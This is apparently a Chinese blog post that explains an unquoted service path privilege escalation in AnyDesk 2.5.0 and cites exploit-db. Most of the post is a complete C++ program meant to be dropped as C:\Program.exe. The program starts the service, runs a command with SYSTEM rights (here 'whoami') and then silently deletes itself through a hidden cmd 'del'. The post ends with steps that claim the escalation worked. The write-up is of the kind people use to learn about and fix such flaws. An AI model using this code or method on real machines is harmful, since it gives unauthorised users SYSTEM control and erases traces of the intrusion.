• 不带引号的服务路径的提权探索


    前言:
         前几天逛exploit-db,看到一个文章《AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation》,大概描述内容如下:

    1. Description:
     
    The Anydesk installs as a service with an unquoted service path running with SYSTEM privileges.
    This could potentially allow an authorized but non-privileged local
    user to execute arbitrary code with elevated privileges on the system.
    

     看完这描述,没有明白,为什么服务路径没有加引号会造成权限提升呢?于是自己手动查询了俩服务对比对比:

    对比后大概了解:

    BINARY_PATH_NAME 如果没有加双引号的话,在启用服务过程中查询路径的时候,遇上空格会造成截断,那么利用思路就出来了,在C:Program Files(程序路径,我本机是安装在C盘)这个目录的同级目录 也就是C: 放置一个Program的程序,启用服务的过程中是不是就加载了这个程序呢?

    实验过程:

        既然思路有了,那么就写一个程序试试吧,程序实现思路如下:

       1:执行命令(这里执行whoami,查看运行权限)

       2:运行完毕后删除自身(因为服务加载了Program程序时候,就启用不了正常服务了,删除自身后可以保证重新启用程序时候服务能正常启用)

    代码如下:

    #include <iostream>
    #include <cstdlib>
    #include <string>
    #include <windows.h>   
    #include <shellapi.h>  
    #include <shlobj.h>  
    
    #define SVCNAME TEXT("AnyDesk")
    
    #pragma comment(lib, "shell32.lib")
    #pragma comment(lib, "advapi32.lib")
    using namespace std;
    
    
    /* 启动服务函数 */
    VOID __stdcall DoStartSvc()
    {
        SERVICE_STATUS_PROCESS ssStatus; 
        DWORD        dwOldCheckPoint; 
        DWORD        dwStartTickCount;
        DWORD        dwWaitTime;
        DWORD        dwBytesNeeded;
        SC_HANDLE    schSCManager;
        SC_HANDLE    schService;
    
        // Get a handle to the SCM database. 
     
        schSCManager = OpenSCManager( 
            NULL,                    // local computer
            NULL,                    // servicesActive database 
            SERVICE_START | SERVICE_QUERY_STATUS | SERVICE_STOP);  // full access rights 
     
        if (NULL == schSCManager) 
        {
            printf("OpenSCManager failed (%d)
    ", GetLastError());
            return;
        }
    
        // Get a handle to the service.
    
        schService = OpenService( 
            schSCManager,         // SCM database 
            SVCNAME,            // name of service 
            SERVICE_ALL_ACCESS);  // full access 
     
        if (schService == NULL)
        { 
            printf("OpenService failed (%d)
    ", GetLastError()); 
            CloseServiceHandle(schSCManager);
            return;
        }    
    
        // Check the status in case the service is not stopped. 
    
        if (!QueryServiceStatusEx( 
                schService,                     // handle to service 
                SC_STATUS_PROCESS_INFO,         // information level
                (LPBYTE) &ssStatus,             // address of structure
                sizeof(SERVICE_STATUS_PROCESS), // size of structure
                &dwBytesNeeded ) )              // size needed if buffer is too small
        {
            printf("QueryServiceStatusEx failed (%d)
    ", GetLastError());
            CloseServiceHandle(schService); 
            CloseServiceHandle(schSCManager);
            return; 
        }
    
        // Check if the service is already running. It would be possible 
        // to stop the service here, but for simplicity this example just returns. 
    
        if(ssStatus.dwCurrentState != SERVICE_STOPPED && ssStatus.dwCurrentState != SERVICE_STOP_PENDING)
        {
            printf("Cannot start the service because it is already running
    ");
            CloseServiceHandle(schService); 
            CloseServiceHandle(schSCManager);
            return; 
        }
    
        // Save the tick count and initial checkpoint.
    
        dwStartTickCount = GetTickCount();
        dwOldCheckPoint = ssStatus.dwCheckPoint;
    
        // Wait for the service to stop before attempting to start it.
    
        while (ssStatus.dwCurrentState == SERVICE_STOP_PENDING)
        {
            // Do not wait longer than the wait hint. A good interval is 
            // one-tenth of the wait hint but not less than 1 second  
            // and not more than 10 seconds. 
     
            dwWaitTime = ssStatus.dwWaitHint / 10;
    
            if( dwWaitTime < 1000 )
                dwWaitTime = 1000;
            else if ( dwWaitTime > 10000 )
                dwWaitTime = 10000;
    
            Sleep( dwWaitTime );
    
            // Check the status until the service is no longer stop pending. 
     
            if (!QueryServiceStatusEx( 
                    schService,                     // handle to service 
                    SC_STATUS_PROCESS_INFO,         // information level
                    (LPBYTE) &ssStatus,             // address of structure
                    sizeof(SERVICE_STATUS_PROCESS), // size of structure
                    &dwBytesNeeded ) )              // size needed if buffer is too small
            {
                printf("QueryServiceStatusEx failed (%d)
    ", GetLastError());
                CloseServiceHandle(schService); 
                CloseServiceHandle(schSCManager);
                return; 
            }
    
            if ( ssStatus.dwCheckPoint > dwOldCheckPoint )
            {
                // Continue to wait and check.
    
                dwStartTickCount = GetTickCount();
                dwOldCheckPoint = ssStatus.dwCheckPoint;
            }
            else
            {
                if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint)
                {
                    printf("Timeout waiting for service to stop
    ");
                    CloseServiceHandle(schService); 
                    CloseServiceHandle(schSCManager);
                    return; 
                }
            }
        }
    
        // Attempt to start the service.
    
        if (!StartService(
                schService,  // handle to service 
                0,           // number of arguments 
                NULL) )      // no arguments 
        {
            printf("StartService failed (%d)
    ", GetLastError());
            CloseServiceHandle(schService); 
            CloseServiceHandle(schSCManager);
            return; 
        }
        else printf("Service start pending...
    "); 
    
        // Check the status until the service is no longer start pending. 
     
        if (!QueryServiceStatusEx( 
                schService,                     // handle to service 
                SC_STATUS_PROCESS_INFO,         // info level
                (LPBYTE) &ssStatus,             // address of structure
                sizeof(SERVICE_STATUS_PROCESS), // size of structure
                &dwBytesNeeded ) )              // if buffer too small
        {
            printf("QueryServiceStatusEx failed (%d)
    ", GetLastError());
            CloseServiceHandle(schService); 
            CloseServiceHandle(schSCManager);
            return; 
        }
     
        // Save the tick count and initial checkpoint.
    
        dwStartTickCount = GetTickCount();
        dwOldCheckPoint = ssStatus.dwCheckPoint;
    
        while (ssStatus.dwCurrentState == SERVICE_START_PENDING) 
        { 
            // Do not wait longer than the wait hint. A good interval is 
            // one-tenth the wait hint, but no less than 1 second and no 
            // more than 10 seconds. 
     
            dwWaitTime = ssStatus.dwWaitHint / 10;
    
            if( dwWaitTime < 1000 )
                dwWaitTime = 1000;
            else if ( dwWaitTime > 10000 )
                dwWaitTime = 10000;
    
            Sleep( dwWaitTime );
    
            // Check the status again. 
     
            if (!QueryServiceStatusEx( 
                schService,             // handle to service 
                SC_STATUS_PROCESS_INFO, // info level
                (LPBYTE) &ssStatus,             // address of structure
                sizeof(SERVICE_STATUS_PROCESS), // size of structure
                &dwBytesNeeded ) )              // if buffer too small
            {
                printf("QueryServiceStatusEx failed (%d)
    ", GetLastError());
                break; 
            }
     
            if ( ssStatus.dwCheckPoint > dwOldCheckPoint )
            {
                // Continue to wait and check.
    
                dwStartTickCount = GetTickCount();
                dwOldCheckPoint = ssStatus.dwCheckPoint;
            }
            else
            {
                if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint)
                {
                    // No progress made within the wait hint.
                    break;
                }
            }
        } 
    
        // Determine whether the service is running.
    
        if (ssStatus.dwCurrentState == SERVICE_RUNNING) 
        {
            printf("Service started successfully.
    "); 
        }
        else 
        { 
            printf("Service not started. 
    ");
            printf("  Current State: %d
    ", ssStatus.dwCurrentState); 
            printf("  Exit Code: %d
    ", ssStatus.dwWin32ExitCode); 
            printf("  Check Point: %d
    ", ssStatus.dwCheckPoint); 
            printf("  Wait Hint: %d
    ", ssStatus.dwWaitHint); 
        } 
    
        CloseServiceHandle(schService); 
        CloseServiceHandle(schSCManager);
    }
    
    /* 运行后删除自身函数 */
    void DeleteApplicationSelf()  
    {  
        char szCommandLine[MAX_PATH + 10];  
              
        //设置本程序进程基本为实时执行,快速退出。  
        SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);  
        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);  
        //通知资源管理器不显示本程序,当然如果程序没有真正的删除,刷新资源管理器后仍会显示出来的。  
        SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, _pgmptr, NULL);  
              
        //调用cmd传入参数以删除自己  
        char szFilePath[MAX_PATH];  
        sprintf(szFilePath, ""%s"", _pgmptr);  
        sprintf(szCommandLine, "/c del /q %s", szFilePath);  
        ShellExecute(NULL, "open", "cmd.exe", szCommandLine, NULL, SW_HIDE);  
              
        ExitProcess(0);  
    }  
    
    int main()
    {
        DoStartSvc();
        string cmd = "whoami > 123.txt";
        system(cmd.c_str());
        DeleteApplicationSelf();
        return 0;
    }

    编译程序测试:

      1:将程序命名为Program.exe放置在C盘

      2:启用anydesk

      

    这里弹出警告:提示服务没能启动起来,这个不要紧,Program.exe已经自删除,关掉重新打开就能正常启用了。

      3:查看结果,成功提权。

    参考:

      https://www.exploit-db.com/exploits/40410/

  • 相关阅读:
    Eclipse 读取config目录下文件
    cakephp 中Console / Shell 有什么优点?
    cakephp中使用 find('count')方法
    [转]using components in Cakephp 2+ Shell
    [转]Git for windows 下vim解决中文乱码的有关问题
    在Foxmail中添加阿里云企业邮箱账号
    Cakephp在Controller中显示sql语句
    java线程的基本概念
    mysql varchar到底能存多少字符。
    mysql 联合索引匹配原则
  • 原文地址:https://www.cnblogs.com/persuit/p/5916010.html
Copyright © 2020-2023  润新知